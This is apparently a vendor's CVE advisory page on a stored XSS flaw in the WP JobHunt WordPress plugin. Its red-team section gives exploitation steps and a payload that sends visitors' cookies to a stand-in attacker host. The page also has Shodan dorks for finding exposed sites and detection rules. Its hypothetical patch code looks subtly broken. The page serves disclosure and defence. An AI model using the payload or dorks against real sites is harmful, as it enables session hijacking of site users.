☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 6.4 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-7781

CVE-2025-7781 Cross-Site Scripting in Wp jobhunt
📅 PUBLISHED: 2025-10-10 11:17 UTC 🔄 UPDATED: 2026-08-12 14:53 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.03%
👁️
0.03% probability
<1× above the median CVE
Tier: LOW
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 6.4
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: L Privileges Required Low
UI: N User Interaction None
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: N Availability None
6.4
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-7781 is a Stored Cross-Site Scripting (XSS) vulnerability affecting the WP JobHunt plugin for WordPress, which is used by the JobCareer theme. The flaw exists in the cs_job_title parameter and allows authenticated attackers with Candidate-level access or higher to inject arbitrary web scripts. These scripts execute whenever a user accesses the compromised page. The vulnerability is present in all versions up to and including 7.6, and no patch is currently available. The CVSS score is 6.4 (Medium), and the EPSS probability is 0.0%, indicating a low likelihood of exploitation in the wild at this time.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

WordPress Ecosystem Context

This vulnerability is specific to the WordPress ecosystem, affecting the WP JobHunt plugin and the JobCareer theme. It is not related to Apache or Nginx server software.

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
  • Base Score: 6.4 (Medium)
  • Attack Vector: Network (AV:N) – The vulnerability can be exploited remotely.
  • Attack Complexity: Low (AC:L) – No special conditions are required.
  • Privileges Required: Low (PR:L) – Attacker needs Candidate-level authentication.
  • User Interaction: None (UI:N) – No user action is needed for the attack.
  • Scope: Changed (S:C) – The vulnerability can impact resources beyond the vulnerable component.
  • Confidentiality Impact: Low (C:L) – Limited data exposure.
  • Integrity Impact: Low (I:L) – Limited data modification.
  • Availability Impact: None (A:N) – No impact on availability.

Threat Level: Medium. While the CVSS score is moderate, the lack of a patch and the potential for stored XSS to affect all site visitors elevates the risk for affected WordPress installations.

Deep Dive & Mechanics

The vulnerability resides in the WP JobHunt plugin's handling of the cs_job_title parameter. When a user with Candidate-level privileges submits or updates a job application, the plugin fails to properly sanitize the input and escape the output. This allows an attacker to inject malicious JavaScript code into the cs_job_title field.

The injected script is stored in the WordPress database and executed when any user (including administrators) views the page containing the malicious job title. This can lead to session hijacking, defacement, or redirection to malicious sites.

Root Cause: Insufficient input sanitization and output escaping in the plugin's code, specifically in the handling of the cs_job_title parameter.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is the current state. The following is a hypothetical example of the vulnerable code and what a patched version should look like.

Vulnerable Code (PHP):

// In a file like wp-jobhunt/includes/class-job-application.php
function save_job_application($data) {
    $job_title = $data['cs_job_title'];
    // No sanitization or escaping
    update_post_meta($post_id, 'cs_job_title', $job_title);
}

Patched Code (Hypothetical):

function save_job_application($data) {
    $job_title = sanitize_text_field($data['cs_job_title']);
    // Escape output when displaying
    echo esc_html($job_title);
    update_post_meta($post_id, 'cs_job_title', $job_title);
}

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

  • A WordPress installation with the WP JobHunt plugin (version <= 7.6) and JobCareer theme.
  • An authenticated user account with Candidate-level privileges.

Exploitation Steps:

  1. Log in as a Candidate user.
  2. Navigate to the job application submission page.
  3. In the cs_job_title field, inject a malicious script, e.g.:
    <script>alert('XSS')</script>
    
  4. Submit the application.
  5. When any user views the job listing or application details, the script executes.

Example Payload:

<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>

Blue Team (Detection & Prevention)

Detection:

  • Monitor for unusual job title submissions containing <script> tags or event handlers.
  • Review WordPress logs for suspicious POST requests to job application endpoints.

Prevention:

  • Implement a Web Application Firewall (WAF) rule to block XSS payloads in form fields.
  • Restrict Candidate-level permissions to only necessary functions.
  • Apply input validation and output escaping in custom code or via security plugins.

Indicators of Compromise (IOCs)

  • Network IOCs:

    • Outbound HTTP requests to known malicious domains from the WordPress server.
    • Unusual POST requests to /wp-admin/admin-ajax.php with action=job_application_submit and suspicious cs_job_title values.
  • File IOCs:

    • Modified database entries in wp_postmeta where meta_key is cs_job_title and meta_value contains JavaScript.
  • Log IOCs:

    • WordPress debug log entries showing PHP warnings related to cs_job_title.
    • Web server access logs with cs_job_title containing encoded or raw script tags.

Detection Engineering

YARA Rule

rule CVE_2025_7781_WP_JobHunt_XSS {
    meta:
        description = "Detects stored XSS payloads in WP JobHunt cs_job_title field"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-7781"
    strings:
        $xss_payload = /<script[^>]*>.*<\/script>/i
        $event_handler = /on\w+\s*=\s*["'][^"']*["']/i
    condition:
        $xss_payload or $event_handler
}

Sigma Rule

title: Stored XSS in WP JobHunt cs_job_title
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects stored XSS attempts via cs_job_title parameter in WP JobHunt plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs_job_title|contains: 
            - '<script'
            - 'onload='
            - 'onerror='
    condition: selection
falsepositives:
    - Legitimate use of HTML in job titles (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-7781 WP JobHunt Stored XSS Attempt"; flow:to_server,established; content:"cs_job_title"; http_client_body; pcre:"/<script[^>]*>.*<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the WP JobHunt plugin and switch to a different theme if possible.
  2. Restrict Candidate-level accounts to only necessary functions.
  3. Implement a WAF to block XSS payloads in form fields.

Long-term Fix:

  • Monitor the vendor's website for a patch. If none is released, consider removing the plugin and theme entirely.
  • Apply input sanitization and output escaping in custom code or via a security plugin like Wordfence.

Workaround:

  • Use a content security policy (CSP) header to mitigate XSS impact:
    Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval'; object-src 'none';
    

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"JobCareer"
http.html:"wp-content/themes/jobcareer"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-7781/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.